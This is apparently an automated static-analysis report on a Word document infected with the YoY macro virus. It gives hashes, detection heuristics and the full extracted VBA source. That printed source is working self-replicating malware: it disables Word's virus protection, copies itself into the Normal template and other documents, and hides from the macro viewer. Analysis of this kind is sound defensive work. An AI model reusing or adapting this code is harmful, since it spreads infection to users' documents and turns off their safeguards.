Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 4d7f3fa2a79e771a…

MALICIOUS

Office (OLE)

30.0 KB Created: 2003-02-25 05:39:00 Authoring application: Microsoft Word 9.0 First seen: 2012-06-14
MD5: 01a4fe600230809248d2f80d90525d90 SHA-1: a18165cf61e74b412bb510da80f5b34a00efe7d4 SHA-256: 4d7f3fa2a79e771a3406464390640c14d28be8b427284d5a565d75fe2582a8ae
196 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

This document contains legacy WordBasic macro-virus markers and AutoOpen/AutoClose macros, indicating malicious intent. The embedded VBA script, named 'YoY', attempts to export its code to a file named 'YoY.drv' in the Word application path and checks for the existence of '~.~'. This suggests an attempt to spread or infect other documents.

Heuristics 6

  • ClamAV: Doc.Trojan.Yoy-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Yoy-1
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
          Options.VirusProtection = False
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Sub AutoClose()
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2512 bytes
SHA-256: 81fd40c212ae3928db2a45a5f6350c332673dc894b78e54cc95b8bea8e7b2f03
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "YoY"
' Macro.YoY virus by AlEkS
Sub YoY()
 On Error Resume Next
 If (Dir(Word.Application.Path + "\~.~") = "") Then
      Options.VirusProtection = False
Application.Caption = "YoY"
    Options.ConfirmConversions = False

    Options.SaveNormalPrompt = False

  path_1 = Word.Application.Path + "\YoY.drv"

     Call expo_
           Set per_2 = ActiveDocument.VBProject.VBComponents
     Set per_1 = NormalTemplate.VBProject.VBComponents

     ActiveDocument.ReadOnlyRecommended = False
        With Dialogs(wdDialogFileSummaryInfo)
          .Title = "Little YoY"
          .Execute
        End With
    If Left(Date, 2) = "17" Or Left(Date, 2) = "05" Then Call Msg
    If ActiveDocument.VBProject.VBComponents.Item("YoY").Name <> "YoY" Then AD = True
    If NormalTemplate.VBProject.VBComponents.Item("YoY").Name <> "YoY" Then NT = True

    If NT = False And AD = True Then Set imp_ = per_2
    If NT = True And AD = False Then Set imp_ = per_1


       imp_.import path_1

    If AD = False Then If NormalTemplate.Saved = False Then NormalTemplate.Save

 End If
End Sub
Sub expo_()
 On Error Resume Next
 ActiveDocument.VBProject.VBComponents("YoY").Export (Word.Application.Path + "\YoY.drv")
End Sub

Sub AutoOpen()
 On Error Resume Next
 Call YoY
End Sub

Sub AutoNew()
 On Error Resume Next
 Call YoY
End Sub

Sub AutoClose()
 On Error Resume Next
 Call YoY
End Sub

Sub FileSaveAs()
    On Error Resume Next
    Dialogs(wdDialogFileSaveAs).Show
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, FileFormat:=wdFormatDocument
End Sub

Sub FileSave()
    On Error Resume Next
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, FileFormat:=wdFormatDocument
End Sub

Sub FileTemplates()
 On Error Resume Next
 Call YoY
 Call Koy
End Sub

Sub ToolsMacro()
 On Error Resume Next
 Call YoY
 Call Koy
 Call Msg
End Sub

Sub ViewVBCode()
 On Error Resume Next
 Call YoY
 Call Koy
 Call Msg
End Sub

Sub Koy()
 On Error Resume Next
 ActiveWindow.Close SaveChanges:=SaveChanges
End Sub

Sub Msg()
On Error Resume Next
MSGbox "!Love YoY? Yes! Please don't panic! Write me top_100@mail.ru!"
End Sub